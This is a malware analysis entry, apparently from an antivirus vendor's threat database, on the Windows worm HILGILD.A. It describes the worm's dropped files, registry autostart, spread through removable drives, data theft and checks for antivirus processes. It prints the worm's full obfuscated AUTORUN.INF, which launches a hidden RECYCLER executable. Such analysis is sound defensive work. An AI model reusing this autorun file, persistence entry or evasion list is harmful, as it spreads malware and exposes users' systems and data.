Worm.Win32.HILGILD.A

This Worm arrives via removable drives. It arrives by accessing affected shared networks. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It uses the default Windows folder icon to trick users into opening the file. Double-clicking the file executes this malware.

It drops an AUTORUN.INF file to automatically execute the copies it drops when a user accesses the drives of an affected system.

Arrival Details

This Worm arrives via removable drives.

It arrives by accessing affected shared networks.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Worm drops the following copies of itself into the affected system and executes them:

• %All Users Profile%\Application Data\wmimgmt.exe

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). )

It drops the following files:

• %Temporary Internet Files%\s.log
• %Temporary Internet Files%\t.log
• %Public%\Documents\Media\line.dat
• %Public%\Documents\Media\{random}.db
• %Temporary Internet Files%\sharedir.tmp
• %Temporary Internet Files%\hostname.tmp → contains host name
• %Temporary Internet Files%\workgrp.tmp → contains list of connected machine
• %Temporary Internet Files%\drivers.p → contains list of drive letters
• %Temporary Internet Files%\INFO.txt → contains list of gathered information
• %User Temp%\temp.vih → contains list of key, subkeys and values of specified registry keys
• {Removable drive}:\RECYCLER\desktop.ini
• {Removable drive}:\~thumbs.tmp
• {Removable drive}:\RECYCLER\wmimgmt.com

It drops and executes the following files:

• %Temporary Internet Files%\ghi.bat → contains commands for gathering information
• %Temporary Internet Files%\avpi.exe

(Note: %Temporary Internet Files% is the Temporary Internet Files folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temporary Internet Files on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\Temporary Internet Files on Windows Vista, 7 and 2008(64-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\INetCache on Windows 8, 8.1, 2012(64-bit) and 10(64-bit).)

It uses the default Windows folder icon to trick users into opening the file. Double-clicking the file executes this malware.

It adds the following mutexes to ensure that only one of its copies runs at any one time:

• ProgramLQBMute
• DB_F_PROTECT

Autostart Technique

This Worm adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
wmi32 = %All Users Profile%\Application Data\wmimgmt.exe

Other System Modifications

This Worm deletes the following files:

• %User Temp%\temp.vih
• %Temporary Internet Files%\s.log
• %Temporary Internet Files%\t.log
• %Temporary Internet Files%\sharedir.tmp
• %Temporary Internet Files%\hostname.tmp
• %Temporary Internet Files%\workgrp.tmp
• %Temporary Internet Files%\drivers.p
• %Temporary Internet Files%\ghi.bat
• %Temporary Internet Files%\INFO.txt

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Temporary Internet Files% is the Temporary Internet Files folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temporary Internet Files on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\Temporary Internet Files on Windows Vista, 7 and 2008(64-bit), or C:\Users\{user name}\AppData\Local\Microsoft\Windows\INetCache on Windows 8, 8.1, 2012(64-bit) and 10(64-bit).)

It modifies the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Explorer
GlobalAssocChangedCounter = {data}

Propagation

This Worm drops an AUTORUN.INF file to automatically execute the copies it drops when a user accesses the drives of an affected system.

The said .INF file contains the following strings:

; for 16-bit app support
[extensions]
[fonts]
[mci extensions]
[Mail]
[files]
mpeg=MPEGVideo
snd=atl.dll
wm=mcd32.dll
wma=MP4
wmp=MP3MAPI=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
CMCDLLNAME32=mapi32.dll
CMC=1
[MCI Extensions]
aif=loghours.dll
aiff=ole2.dll
asf=d3dramp.dll
aifc=psnppagn.dll
asx=MPEGVideo2
mpe=usrdtea.dll
mpg=MPEGVideo
mpv2=idq.dll
wmv=MPEG
wmx=MPEGVideo32
251846kfi56s
;cc30qiLas JdZ3adCjPadf823423423
[Kasasf0q]iLasdfKD28Ls33wDmrq6Jl1EdAf8
;K0qi asfLasmet Ca19lhs ipconfidfjKD28 mpeg Ls33
;8sdaA89K3J0DSKJLG8P4Ld0laH saG
[shellas]dBop1caomasdnhsdf=fdsjsdf.exenghasadnetstad.
as=asdfash0ffsad asd1safsdf9safdasf
;ff0qiLasfJdKPEGVi2412344
oaeFK1Kajkw6DdD3L2f3a31zazi8a135Lwra
Ls33wDm2rqJl31EdAf8soae FK1KajkwDdDLKAl6sdcO7K
asdfs3adfLafdsfadsdm FKaj3kw6Al6sdcO7K
;K0qi65aa3sJZ3adCsa1sdfjKD32asddfasdf
;K0qiLa1Kajkw845rthgK2f33a21zazi8a35Lwra
[ autorun
K0qi3a3dCa19lsdfjKD2asfd323asdfsdfa
PRINT=PRINT.EXE ASDd938daf897asdj
;[asfd3]2KdafjKD2
Play= Copy pictures to a foler on my computer
shEllEXEcuTe = RECyCLER\wmimgmt.com
;8sdaA38G8P343LklJ8ASD FL3333sd0laHsa3G12fgsdsaKd
sheLL\oPeN\coMManD =RECYCLER\wmimgmt.com
;343P5gd2fKgCOMNANDASDF=REC R5gf56sd315eK592AdsSD
;89234SAKDJWKsatyh3adaflk7yas
;343P5F 25F5gf56sd315eK56fs43d4asd56KdaDfs1
shELl\ExpLore\ComMand= RECYCLER\wmimgmt.com
s=asfdsa5dfafdAf8soaeFExpLoreqiLasJ8Z3adC
;89234AKfdk28ASDFsaaty7ysK6DRg if5S3jsHks
Action=Open folder to view files
;8k3kKsafG ASDFdlsflK3a23F4jksfa5F3J90s
;f0PEG3ideoqiLasJd9Z3adCa319lhsdfjKD3223adfasfd
Spell=Take no action then print the picture

[mci]
woafont=app936.FON
EGA40WOA.FON=EGA40WOA.FON
[386enh]
EGA51WOA.FON=KBDDSP.FON
[drivers]
wave=mmdrv.dll
[driver32]
timer=timer.drv

Information Theft

This Worm gathers the following data:

• list of of the active console code page
• user account information
• list of local group administrators
• list of currently running processes
• system information
• list of values in HKEY_CURRENT_USER\Software\Microsoft\Office\{version}\Common\UserInfo
• list of current TCP/IP network configuration values
• list of TCP connections
• list of current ARP entries
• routing table
• list of local NetBIOS names
• list of remote [machine] names and their IP addresses
• list of services
• list of network connections
• list of shared resources
• list of domains in the network
• computer name
• list of files and folders in all drives

Other Details

This Worm adds the following registry keys:

HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications

HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications\
Browser

HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications\
Browser\Recent File List

HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications\
Browser\Settings

It does the following:

• Searches for the following running processes
  • ravmond.exe
  • ccenter.exe
  • ravtask.exe
  • op_mon.exe
  • 360tray.exe
  • pctstray.exe
  • avp.exe
  • vsserv.exe
  • v3ltray.exe
  • v3svc.exe
  • ccsvchst.exe.
  • mcagent.exe
  • avguard.exe
  • avastsvc.exe
• Will not proceed to its worm routine if it finds the following process running in the memory
  • avp.exe
• It searches for folders in all shared folders and removable drives then drops copies of itself as {folder name}.EXE.
• It sets the attributes of all the found folders in the shared folders and removable drives to Hidden.
• Must be in this directory to conduct its worm routine
  • %All Users Profile%\Application Data\wmimgmt.exe

(Note: %All Users Profile% is the common user's profile folder, which is usually C:\Documents and Settings\All Users on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit). )

It deletes the following registry keys that were created during execution:

HKEY_CURRENT_USER\Software\Local AppWizard-Generated Applications\
Browser\Recent File List